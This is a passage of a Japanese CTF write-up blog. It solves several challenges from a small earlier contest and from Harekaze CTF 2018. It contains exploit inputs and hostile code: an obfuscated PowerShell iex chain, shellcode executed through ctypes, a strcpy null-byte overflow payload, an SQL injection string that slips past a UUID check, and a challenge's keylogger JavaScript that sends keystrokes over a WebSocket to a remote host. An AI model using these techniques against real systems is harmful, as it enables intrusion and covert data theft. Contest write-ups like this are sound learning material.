+${;%$}${[/)}${!.*}${``}+${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}  +${;%$}${[/)}${[/)}${``}+  ${;%$}${=-$}${).+}+  ${;%$}${/[(}${=-$}+${;%$}${[/)}${).+}${[/)}+${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${+-.}+  ${;%$}${)}${``}+${;%$}${/[(}${=-$}  +${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}+  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}+${;%$}${[/)}${!.*}${)}  +${;%$}${)}${``}+  ${;%$}${/[(}${=-$}  +${;%$}${[/)}${).+}${[/)}+  ${;%$}${[/)}${[/)}${!.*}  + ${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${)}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${[/)}${+}  +${;%$}${[/)}${!.*}${+}  +${;%$}${[/)}${[/)}${+}+  ${;%$}${)}${``}  +${;%$}${/[(}${=-$}+  ${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}  +${;%$}${[/)}${!.*}${)}  +${;%$}${/[(}${=-$}+${;%$}${[/)}${).+}${[/)}  +  ${;%$}${[/)}${[/)}${!.*}+  ${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${)}  +  ${;%$}${[/)}${!.*}${[/)}  + ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${!.*}${+}+${;%$}${[/)}${).+}${).+}+${;%$}${[/)}${!.*}${[/)}+${;%$}${[/)}${[/)}${)}  +${;%$}${[/)}${=-$}+  ${;%$}${[/)}${!.*}+${;%$}${=-$}${``}  +${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${).+}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${/}  +${;%$}${[/)}${!.*}${/}  +${;%$}${)}${``}+  ${;%$}${/[(}${=-$}+  ${;%$}${[/)}${[/)}${).+}+${;%$}${[/)}${!.*}${[/)}+  ${;%$}${+-.}${/}+  ${;%$}${[/)}${!.*}${/}  +  ${;%$}${)}${!.*}+${;%$}${=-$}${)}+  ${;%$}${/}${``}+  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${[/)}${``}  +${;%$}${[/)}${!.*}${[/)}+ ${;%$}${[/)}${[/)}${!.*}  +  ${;%$}${=-$}${=-$}+  ${;%$}${=-$}${).+}+${;%$}${/}${``}  +  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${``}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${[/)}${!.*}  +${;%$}${=-$}${=-$}+${;%$}${=-$}${).+}  +  ${;%$}${/}${!.*}+  ${;%$}${/}${``}  +${;%$}${``}${+}+  ${;%$}${/}${[/)}+  ${;%$}${=-$}${).+}+  ${;%$}${[/)}${!.*}${+}+  ${;%$}${[/)}${[/)}${+}+  ${;%$}${=-$}${).+}  +  ${;%$}${/}${!.*}  +${;%$}${/}${``}+  ${;%$}${``}${+}  +${;%$}${/}${[/)}+  ${;%$}${+-.}${+}+  ${;%$}${+-.}${/}+  ${;%$}${[/)}${[/)}${!.*}+${;%$}${[/)}${!.*}${=-$}+${;%$}${[/)}${!.*}${/[(}+${;%$}${[/)}${!.*}${[/)}  +${;%$}${[/)}${[/)}${)}+${;%$}${[/)}${!.*}${).+}  +  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${!.*}${)}  +${;%$}${=-$}${)}  +${;%$}${=-$}${).+}  +  ${;%$}${)}${[/)} )"  )
  iex([CHar]65+  [CHar]100  +  [CHar]100+[CHar]45  +[CHar]84+  [CHar]121  +  [CHar]112+[CHar]101  +  [CHar]32+  [CHar]45  +[CHar]65+[CHar]115  +  [CHar]115  +  [CHar]101  +[CHar]109+[CHar]98+  [CHar]108  +  [CHar]121+[CHar]78  + [CHar]97+  [CHar]109+  [CHar]101+[CHar]32+  [CHar]83  +  [CHar]121  +[CHar]115+  [CHar]116  +[CHar]101  +  [CHar]109+[CHar]46+[CHar]115+[CHar]112  +  [CHar]101  +  [CHar]101+[CHar]99  +  [CHar]104+  [CHar]13+  [CHar]10+  [CHar]36+[CHar]115  +  [CHar]112+  [CHar]101+[CHar]97  +[CHar]107+[CHar]32  +  [CHar]61  +  [CHar]32+[CHar]78  +  [CHar]101+[CHar]119+  [CHar]45+  [CHar]79  +  [CHar]98  +[CHar]106+[CHar]101  +[CHar]99  +[CHar]116+  [CHar]32+  [CHar]83+[CHar]121+[CHar]115+[CHar]116+  [CHar]101  +  [CHar]109+  [CHar]46+[CHar]83  +[CHar]112  +  [CHar]101+  [CHar]101  +[CHar]99+[CHar]104  +[CHar]46+ [CHar]83  +[CHar]121+  [CHar]110  +  [CHar]116+  [CHar]104+[CHar]101  +  [CHar]115  +[CHar]105  +[CHar]115+  [CHar]46 +[CHar]83+  [CHar]112  +  [CHar]101  +  [CHar]101  +[CHar]99  +[CHar]104  +[CHar]83+[CHar]121  +  [CHar]110+  [CHar]116+  [CHar]104  +  [CHar]101  +  [CHar]115  +  [CHar]105+[CHar]122+[CHar]101+[CHar]114  +[CHar]13+  [CHar]10+[CHar]36  +[CHar]115+[CHar]112+  [CHar]101+[CHar]97  +[CHar]107  +[CHar]46+  [CHar]83+  [CHar]112+[CHar]101+  [CHar]97+  [CHar]107  +  [CHar]40+[CHar]34+  [CHar]76+  [CHar]105  +  [CHar]115+  [CHar]116  +[CHar]101+  [CHar]110  +  [CHar]33+  [CHar]32+[CHar]76  +  [CHar]105  +  [CHar]115  +  [CHar]116+[CHar]101  +  [CHar]110  +[CHar]33+[CHar]32  +  [CHar]70+  [CHar]76  +[CHar]65+  [CHar]71+  [CHar]32  +  [CHar]105+  [CHar]115+  [CHar]32  +  [CHar]70  +[CHar]76+  [CHar]65  +[CHar]71+[CHar]95+  [CHar]97+  [CHar]110+[CHar]103+  [CHar]108+[CHar]101  +[CHar]114+[CHar]102  +  [CHar]105  +  [CHar]115+  [CHar]104  +[CHar]34  +[CHar]32  +  [CHar]41  )

iex で実行しようとしているコードの内容を調べると、フラグが得られた。

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Users\user> ([CHar]65+  [CHar]100  +  [CHar]100+[CHar]45  +[CHar]84+  [CHar]121  +  [CHar]112+[CHar]101  +  [CHar]32+  [CHar]45  +[CHar]65+[CHar]115  +  [CHar]115  +  [CHar]101  +[CHar]109+[CHar]98+  [CHar]108  +  [CHar]121+[CHar]78  + [CHar]97+  [CHar]109+  [CHar]101+[CHar]32+  [CHar]83  +  [CHar]121  +[CHar]115+  [CHar]116  +[CHar]101  +  [CHar]109+[CHar]46+[CHar]115+[CHar]112  +  [CHar]101  +  [CHar]101+[CHar]99  +  [CHar]104+  [CHar]13+  [CHar]10+  [CHar]36+[CHar]115  +  [CHar]112+  [CHar]101+[CHar]97  +[CHar]107+[CHar]32  +  [CHar]61  +  [CHar]32+[CHar]78  +  [CHar]101+[CHar]119+  [CHar]45+  [CHar]79  +  [CHar]98  +[CHar]106+[CHar]101  +[CHar]99  +[CHar]116+  [CHar]32+  [CHar]83+[CHar]121+[CHar]115+[CHar]116+  [CHar]101  +  [CHar]109+  [CHar]46+[CHar]83  +[CHar]112  +  [CHar]101+  [CHar]101  +[CHar]99+[CHar]104  +[CHar]46+ [CHar]83  +[CHar]121+  [CHar]110  +  [CHar]116+  [CHar]104+[CHar]101  +  [CHar]115  +[CHar]105  +[CHar]115+  [CHar]46 +[CHar]83+  [CHar]112  +  [CHar]101  +  [CHar]101  +[CHar]99  +[CHar]104  +[CHar]83+[CHar]121  +  [CHar]110+  [CHar]116+  [CHar]104  +  [CHar]101  +  [CHar]115  +  [CHar]105+[CHar]122+[CHar]101+[CHar]114  +[CHar]13+  [CHar]10+[CHar]36  +[CHar]115+[CHar]112+  [CHar]101+[CHar]97  +[CHar]107  +[CHar]46+  [CHar]83+  [CHar]112+[CHar]101+  [CHar]97+  [CHar]107  +  [CHar]40+[CHar]34+  [CHar]76+  [CHar]105  +  [CHar]115+  [CHar]116  +[CHar]101+  [CHar]110  +  [CHar]33+  [CHar]32+[CHar]76  +  [CHar]105  +  [CHar]115  +  [CHar]116+[CHar]101  +  [CHar]110  +[CHar]33+[CHar]32  +  [CHar]70+  [CHar]76  +[CHar]65+  [CHar]71+  [CHar]32  +  [CHar]105+  [CHar]115+  [CHar]32  +  [CHar]70  +[CHar]76+  [CHar]65  +[CHar]71+[CHar]95+  [CHar]97+  [CHar]110+[CHar]103+  [CHar]108+[CHar]101  +[CHar]114+[CHar]102  +  [CHar]105  +  [CHar]115+  [CHar]104  +[CHar]34  +[CHar]32  +  [CHar]41  )
Add-Type -AssemblyName System.speech
$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer
$speak.Speak("Listen! Listen! FLAG is FLAG_anglerfish" )

複数回の難読化をかけたコードを深海魚のアンコウ(anglerfish)にたとえていて参考になる。

sc (200)

テキストファイルが与えられる。

$ file sc
sc: ASCII text

$ cat sc 
4883ec4031c0c745c80802150fc745cc046f6d35c745d02a2a6e6cc745d4
286b6334c745d82a342b68c745dc62286b63c745e0636a6c34c745e4282a
356fc745e86f6b2b28c745ec2a000000488d45c8488945f0e92e01000048
8b45f00fb60083f05b89c2488b45f08810488b45f00fb6003c600f8e8100
0000488b45f00fb6003c7a7f76488b45f00fb60083e86189c2488b45f088
10488b45f00fb60083c00d89c2488b45f08810488b45f00fb610660fbeca
89c8c1e00201c8c1e00429c866c1e80889c1c0f90389d0c0f80729c189c8
b91a0000000fafc129c289d0488b55f08802488b45f00fb60083c06189c2
488b45f08810e987000000488b45f00fb6003c407e7c488b45f00fb6003c
5a7f71488b45f00fb60083e84189c2488b45f08810488b45f00fb60083c0
0d89c2488b45f08810488b45f00fb610660fbeca89c8c1e00201c8c1e004
29c866c1e80889c1c0f90389d0c0f80729c189c8b91a0000000fafc129c2
89d0488b55f08802488b45f00fb60083c04189c2488b45f08810488345f0
01488b45f00fb60084c00f85c3feffff488d45c84889c6b801000000bf01
000000ba250000000f05c9c3

末尾の c9 c3 (leave ret)、48 (rex prefix) が複数見えることからx86-64 shellcodeであると仮定し、実行してみる。 C言語でプログラムを書いて実行することもできるが、ここでは「Pythonでネイティブコードを実行する」の方法を使った。

$ cat solve.py 
import ctypes

def native_func(bytecode):
    libc = ctypes.CDLL('libc.so.6')
    libc.mmap.restype = ctypes.c_void_p
    buf = libc.mmap(None, len(bytecode), 7, 0x22, -1, 0)
    libc.memcpy(ctypes.c_void_p(buf), ctypes.c_char_p(bytecode), len(bytecode))
    return ctypes.CFUNCTYPE(ctypes.c_void_p)(buf)

with open('sc') as f:
    data = f.read()

data = bytes.fromhex(data.replace('\n', ''))
func = native_func(data)
func()

$ python3 solve.py 
FLAG_46add57f08bdbc39f08817bfda440cfd
Segmentation fault (core dumped)

フラグが得られた。

所感

コンテスト中に1問解けなかったのは残念だったが、解読系の問題が多くおもしろかった。

Harekaze CTF 2018 供養(Writeup)

Harekaze CTF 2018に参加。1430ptで23位。

welcome flag (WarmUp, 10 points)

HarekazeCTF{Welcome to the Harekaze CTF!}

easy problem (WarmUp, 30 points)

ROT13。

$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 'UnerxnmrPGS{Uryyb, jbeyq!}'.decode('rot13')
u'HarekazeCTF{Hello, world!}'

Obfuscated Password Checker (Web, 50 points)

bundle.jsに難読化されたパスワードチェック処理がある。 グローバル変数にいろいろ入っているので、Developer Toolsのコンソールで調べてみるとフラグがあった。

>> console.dir(window)
Window
  _0x2b0ce8: function _0x2b0ce8()
  _0x91f9: Array [ "E1fCjlfCmg==", "wrh/dD3DpMKxWBfDjDLDnFjCncK0VsOKY3Qu", "wpPDv8OUbcKke8KYwq3Cu8OSw6TCscK+w7cuwpzCjx0AwqRMw4BbwrE2wqzChcKUwo/Di8OuVQ==", … ]
  _0x991f: _0x991f()
    arguments: null
    caller: null
    data: {…}
      0V1mU: "apply"
      2tyXd: "{}.constructor(\"return this\")( )"
      3wC12: "console"
      "6E&wy": "warn"
      "12M)@": "return (function() "
      "12ea#G": "console"
      15UjzH: "console"
      16RI1J: "debug"
      "17Y]U9": "console"
      18Ay1I: "info"
      19Ay1I: "console"
      "22rg!@": "exception"
      "23cO2*": "console"
      24BOyr: "trace"
      26BOyr: "call"
      "27e]Rd": "exports"
      28wC12: "exports"
      "29O!qf": "exports"
      "37f&tJ": "addEventListener"
      "39i$MQ": "getElementById"
      "41ea#G": "getElementById"
      43SbU8: "getElementById"
      "44ea#G": "info"
      "45H@[h": "addEventListener"
      "46VpD$": "click"
      "59e]Rd": "length"
      "60Lt&5": "constructor"
      "61eQq&": "debugger"
      62V1mU: "constructor"
      63Ay1I: "debugger"
      132PNc: "log"
      "144%nq": "console"
      208DMT: "error"
      212PNc: "console"
      361Z5I: "HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}"
      "384%nq": "load"
      "422M)@": "button"
      409061: "password"
      __proto__: Object { … }
    initialized: true
    length: 2
    name: "_0x991f"
    once: true
    prototype: Object { … }
    rc4: function _0x15a4b9()
    __proto__: function ()
  [default properties]
  __proto__: WindowPrototype { … }

div N (Rev, 100 points)

整数除算のmagic numberから除数を逆算する問題。

$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> pow(2, 64+0x30)/0x49ea309a821a0d01 + 1
974873638438446L

gacha (Crypto, 100 points)

RSA。 平文がわかっているので、暗号文を計算して一致するものを選ぶ。

# -*- coding: utf-8 -*-
from minipwn import *

# >>> [x.encode('hex') for x in ['WIN 💎', 'LOSE 💩']]
# ['57494e20f09f928e', '4c4f534520f09f92a9']

s = socket.create_connection(('problem.harekaze.com', 30214))
print recvuntil(s, '\n\n')

while True:
    print recvline(s)
    x1 = eval(recvline(s)[12:-1])
    x2 = eval(recvline(s)[12:-1])
    x3 = eval(recvline(s)[12:-1])
    recvuntil(s, '>>> ')
    options = [x1, x2, x3]
    for i, v in enumerate(options):
        n, e, c = v
        result = pow(0x57494e20f09f928e, e, n)
        if result == c:
            sendline(s, str(i+1))
            break
    else:
        raise Exception('something wrong')
    for i in xrange(6):
        print recvline(s),
    maybe_flag = recvline(s)
    if 'HarekazeCTF' in maybe_flag:
        print maybe_flag
        break
[+] you got the flag 🏁: HarekazeCTF{92f4187adbbafd3c592bfdfa8689de3be26b770d}

Fight (Crypto, 100 points)

乱数でbyte-wise XORされたフラグを求める問題。 乱数のseedが 4529255040439033800342855653030016000 未満の互いに素な自然数の個数(オイラーのφ関数)になっている。

$ gp -q
? eulerphi(4529255040439033800342855653030016000)
765753154007029226621575888896000000

seedを与えてXORするとフラグが得られる。

b'HarekazeCTF{3ul3rrrrrrrrr_t0000000t1nt!!!!!}'

Harekaze Farm (Pwn, 100 points)

strcpyがnullバイトで処理を止めることを利用する。

from minipwn import *

#s = connect_process(['./harekaze_farm'])
s = socket.create_connection(('problem.harekaze.com', 20328))
print recvuntil(s, ': ')
sendline(s, 'cow\x00AAAAisoroku')
print recvuntil(s, ': ')
sendline(s, '')
print recvuntil(s, ': ')
sendline(s, '')
interact(s)
$ python solve.py
Welcome to Harekaze farm
Input a name of your favorite animal:
Input a name of your favorite animal:
Input a name of your favorite animal:
Begin to parade!
cow: "moo" "moo"
isoroku: "flag is here" "flag is here"
HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}

*** Connection closed by remote host ***

15 Puzzle (Rev, 200 points)

.NET実行ファイル。

$ file Harekaze15Puzzle.exe
Harekaze15Puzzle.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dnSpyで開くと、乱数を固定回数得た後byte-wise XORすることでフラグを復号していることがわかる。 乱数のseedはクラスのアセンブリコードから作られているので、先にデバッガにてseedを調べた後アセンブリコードを編集することでフラグを得た。

HarekazeCTF{.NET_4pp_c4n_3451ly_b3_d3c0mp1l3d}

Logger (Rev + Net, 200 points)

与えられたpcapにあるbundle.jsのスクリプトを見ると、WebSocketでUser-Agentとキーコードをエンコードして送っていることがわかる。 エンコード処理は、変換テーブルを鍵tとしたBase58風の変換になっている。

window.addEventListener("DOMContentLoaded", function() {
    function encode(s, t) {
        var r = [];
        if (typeof s === "string") {
            s = new TextEncoder("utf-8").encode(s)
        }
        var i, z;
        for (i = 0; i < s.length; i++) {
            if (s[i]) {
                break
            }
        }
        z = i;
        for (; i < s.length; i++) {
            var c = s[i];
            var j;
            for (j = 0; j in r || c; j++) {
                if (r[j]) {
                    c += r[j] * 256
                }
                r[j] = c % 58;
                c = Math.floor(c / 58)
            }
        }
        return t[0].repeat(z) + r.reverse().map(function(x) {
            return t[x]
        }).join("")
    }

    function hash(s) {
        var r = 0,
            i;
        for (i = 0; i < s.length; i++) {
            r = r * 31 + s.charCodeAt(i) | 0
        }
        return r
    }

    function rand(s) {
        var x = 123456789;
        var y = 362436069;
        var z = 521288629;
        var w = 88675123;
        var t;
        return function(a, b) {
            t = x ^ x << 11;
            x = y;
            y = z;
            z = w;
            w = w ^ w >> 19 ^ (t ^ t >> 8);
            if (a !== undefined && b !== undefined) {
                return a + w % (b + 1 - a)
            }
            return w
        }
    }

    function shuffle(a, r) {
        var i;
        for (i = a.length - 1; i > 0; i--) {
            var j = Math.abs(r(0, i));
            var t = a[i];
            a[i] = a[j];
            a[j] = t
        }
    }
    var w = new WebSocket("ws://192.168.99.101:7467");
    var t = "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp";
    w.addEventListener("open", function(event) {
        var s = navigator.userAgent;
        w.send(encode(navigator.userAgent, t));
        t = t.split("");
        shuffle(t, rand(hash(s)));
        t = t.join("")
    });
    Array.from(document.getElementsByTagName("input")).forEach(function(e) {
        e.addEventListener("keyup", function(v) {
            w.send(encode(Math.random().toString().slice(2) + " " + v.key, t))
        }, false)
    })
}, false);

鍵はUser-Agentを送信した後変わるので、復号したUser-Agentをもとに次の鍵を計算する。

texts = """T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
iCmUsu3sWAgt1DLDTPiCsMkiJ
iTS5kqhhN6dZgQfzeXgG7yYr5
uKGMC4ZpKpR1Hbek9LnoWag
MENtnhfQx47g2MD4YfaPpapNRA
iBKoHeQsAyZ3yYg5uzbDpVBza
mez8Y8onREos36hbs1W3PrzEVyF
ioHr8fnSqtoRvLkvW6z6YoZLQ
iBKN3429YfCEmRAxT6f9g9Qsv
yvDepd8vhnp8MQNeYfiBKg2L5apQCZ
iDM2FWZnm2fnpYmYGmqVWex27
iDyQ3jA179gqDNzj51e8SzqfP
iDRMoK3vV8dwipy12npBHDCx6
RoAaJ29cybX87mddDKDJdDEw3ZGE29
iDVvjasQqyiaf7vKnNixERsNP
iBz2L9ZX6LUyopeooorQDnwYi
MEBmf8UBvosB98ocQawh9XZ45n
iM4zg74tACAR4XB7khRmL5gLC
iCATz5TGy5jcsCLGWawZSc8zc
iyvVZ3Q5xAVGy1ZLXZFdnXTep
iDS5YadHVaegKNDjYJkamNM8a
yvrGR54rYJj19e75eo1TACqEAuGfow
ioPy4npLFrivepDY4MioMARxZ
iBwMxi5246Xg7UQi2yvJQ8Xg6
iyvVWzDwMaVPLaZYQ2y975QT6
4VXm8RKGEgG95iKCXam1ygN
M77CEgVf6os6K6tjN1M6A9y7pn
MVeeCjRXYXcKdAgCxKFTJgAdZo
meFcfCq8k1CzkESo7i4GDRnhx9n
iyvkbgC3k9R7JTPUESdmeZfzn
oY9P5XbTFsaV4sS2CHBJE3hcYZTQvurTr
iEEhZ5DXWedXQ4iUQbmwrGrs3
dNUzs2v4Vf7U6GdArAhvCmdPtLH8WMviyq
iCAjd7zUWskbSy9RLYjtrZDCV
qPgGDYUvNuUT3Ch1fKgknFW4CPVcWgH
iShnuif7DhNDTetUZMXWG9rLJ
iDSiqPQnncdz6Rs6YGzmeWuqE
iC8FaVhXmb1GYXrCGw5CcuAXC
i7fBGggWJf9LNRdVprPLPpei3
i7fxmXUMpgst9kACHosb91Cka
MECvB5p81fNgVACMmJQsVd6cQB
iiDMtEVW7BUo5ocRRN4inXdQ7
iSEGbN9YJHTXWLQp2JRMcPmFp
iy9KSw2qYEeVA627cyZzH6F6U
iCN8mpZLH7uUp1fUADyGA5P95
MECbuHyU6L65iPw5Asw92EekYa
yvzJxXHW4XEPsncH4zSHDxVZf9tzxk
iBz2LgRNBBfq42MTaCV3wvjCR
iM5bfsw5xU93kTpig2Q4YmS7A
iBYgT3V51QMxRuxhUS1dSm6s2
ME8pn9tTKm3HEkhnFUeXyB7Wtd
iCN5jfUJiqBYWEbP3hhFgDfci
iDVWAJwuudMAi7x7CpNGARxA4
iMGUZeMFtyDcYf7qGpMHfsEvB
iCA3E5NsH2vMvZck9rexTLXG4
horZcydUns9SRFV8wefAJhEYWGwVfxrS
ME131HW8CbVfH26b1XpK6741Kk
iSEGaKaTXheBaHoAFgrF2ncaL
T6Kihw84sq6JnwNc1V6ps5
iDSNbdyahA2wUahbo5oaztjvm
iyvVWY7oECQ2PE3nLMW9ZcR1Q
iidqHMFJ5xshHM4XstWfXvHqJ
hiMU5F4R6qXdTWeiuwuL8so1qCDzsj4m
iC51H2btb9FywrKrgFCqcCUnA
iyvVZ8xTQrukCAiSe6Yrfogg4
i7qb1XR4yhPUzyK1y1k1M1kHH
iyducwzyZxJgeN11VjtYrPnrt
iBwageNmGH9F1Cx7gcK8nhPkC
yWzcku8Ed5ZYasGMqBNny8Cy8ue4hH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
"""

def base58_like_decode(s, key):
    base_count = len(key)

    decoded = 0
    multi = 1
    s = s[::-1]
    for char in s:
        decoded += multi * key.index(char)
        multi = multi * base_count
    return ("%02x" % decoded).decode('hex')

key1 = 'MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp'
key2 = 'Ehi6osZTjMV7SRygBxUD9CdFcvub1pr4G85NAnm3XakPzQHKwYL2tJefWq'
for i, line in enumerate(texts.splitlines()):
    key = key1 if i < 4 else key2
    print "%r" % base58_like_decode(line, key)
$ python solve.py
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'9939691852144892 i'
'3859885261512208 r'
'150145858608417 i'
'18567251159095166 z'
'7576458777211459 a'
'026972594242234305 k'
'2764480095938977 i'
'7619045353800709 _'
'5178571305666269 Shift'
'8074027219998314 m'
'8956491355702074 e'
'8670453908645435 i'
'011659703838099222 Tab'
'8187754933758598 u'
'7137578694896829 t'
'10685363636314182 e'
'4037649614420644 u'
'9547499006667151 t'
'6804633006850678 e'
'8527906993351082 _'
'5419370398984358 Shift'
'2139335311774213 d'
'7719704024064638 a'
'6872561448387979 m'
'978853711240298 a'
'27678191579008526 s'
'21712587887769974 h'
'008838643293209936 i'
'6968951321131645 i'
'5659857613222705 Control'
'0881841960341716 a'
'809443148452283 Backspace'
'9590280939075162 H'
'04511512569247045 Shift'
'5801697350055479 a'
'8402687974500731 r'
'9049605873902304 e'
'5007062769608761 k'
'5096873156118242 a'
'12161528139619371 z'
'1005416542059554 e'
'5629111190926932 C'
'6008572749776933 T'
'9409767293718467 F'
'12544265098544072 {'
'5884094633930836 Shift'
'7134343065666682 7'
'4504682199625718 r'
'7963206866962564 1'
'17610405187451073 6'
'9442152449942891 6'
'8273018665705658 3'
'4154717364716134 r'
'9617594337921764 _'
'40848781307522053 Shift'
'15416183502271852 h'
'5645719251292425 4'
'98042680667325 p'
'8572499225178345 p'
'6875257188592576 y'
'1751574910137419 _'
'28951702513811517 Shift'
'9235607179034739 6'
'6800631359494727 1'
'5440433413536723 r'
'6339927149278366 l'
'7846849786881289 }'
'7076479870105414 Shift'
"\x1b\x1bC\xaf\x81\xe2\xf4\x9d\x9e\xc2V\xd7I4=,\xcb\x17a\xdf\xd8\x9d\xe1Y\xa3\x977\x08\xe2\xe8\x95X2\x13.\xd1\xac\xbdc\xa6\xf1:\xe2_\xda\x0c+\xf6q\x9d2\xae8x\xd5\xe6\xd1\x13I(|Yi\x97[\xc9$;p\xdd\xff\xbc\xef\xbb\xcb\xf0\xb1\xeeH\xcd]\xbat'pkVX\xfbo\x89-\x05H\xbb\xc8!\x86\x93\xb6\xc1\x84\xdc\x00\x1f\xb8\x89xx\x84\xf2\xc3\xf1\xae\xc4"
HarekazeCTF{7r1663r_h4ppy_61rl}

Round and Round (Crypto, 200 points)

RSA。 次の3つの値が与えられる。

enc = pow(FLAG, e, n)
p1 = (sum([pow(p-1, i, p) for i in range(q)]))
q1 = (sum([pow(q-1, i, q) for i in range(p)]))

次のような連立方程式が成り立つので、これを解くことでp1、q1からp、qが求まる。

p1 = \sigma_{i=0}^{q-1} ((p-1)^i mod p) = 1 + (p-1) + (p^2-2*p+1) + ... = 1 + (p-1) + 1 + (p-1) + ... + 1 = (p-1)*(q-1)/2 + q/2
q1 = (p-1)*(q-1)/2 + p/2
import gmpy

enc = 15507598298834817042463704681892573844935925207353671096676527782423920390858333417805014479686241766827314370902570869063203100704151010294869728739155779685640415815492312661653450808873691693721178331336833872996692091804443257630828512131569609704473214724551132715672202671586891813211353984388741035474991608860773895778988812691240069777435969326282770350038882767450912160134013566175657336041694882842590560100668789803775001750959648059363722039014522592751510672658328196379883088392541680852726136345115484827400366869810045573176782889745710174383221427352027041590910694360773085666697865554456816396551
p1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745572068651194660027408008664437845821585312159573051601404228506302601502000674242923654458940017954149007122396560597908895703129094329414813271877228441216708678152764783888299324278380566426363579192681667090193538271960774609959694372731502799584057204257039655016058403786035676376493785696595207371994520
q1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745568763680874120108583912617489933976894172558366109559645634758298286470207143481537561897150407972412540709976696855267154744423609260252738825337344339874487812781362826063927023814123654794249583090654283919689841700775405866650720124813397785666726161029434903581762204459888078943696756054152989895680616

a = p1
b = q1
t = gmpy.sqrt(4*a*a-8*a*b+4*a+4*b*b+4*b-3)
p = (t-2*a+2*b+1)/2
q = (t+2*a-2*b+1)/2

e = (1<<16)+1
d = gmpy.invert(e, (p-1)*(q-1))
print ("%02x" % pow(enc, d, p*q)).decode('hex')
$ python solve.py
HarekazeCTF{d1d_y0u_7ry_b1n4ry_se4rch?}

Sokosoko Secure Uploader (Web, 100 points)

与えられた暗号化済みPNGファイルを復号する問題。また、鍵となるUUIDが9e5aで始まることが与えられている。 SQLiteSQL injection脆弱性があるが、is_uuid関数によるチェックを通るように文字列を与える必要がある。

'OR id/*-AAAA-AAAA-AAAA-*/LIKE'9e5a%
HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}

my favorite language (Rev + Misc, 200 points)

Lazy Kで書かれたフラグチェッカー。 C言語で書かれたインタプリタで実行した際の命令数をIntel Pinを用いて調べると、1バイトごとに比較が行われていることがわかる。 何文字か探索するとフラグが16進文字列らしいことがわかるので、これを利用して範囲を絞りつつ探索する。

from subprocess import Popen, PIPE

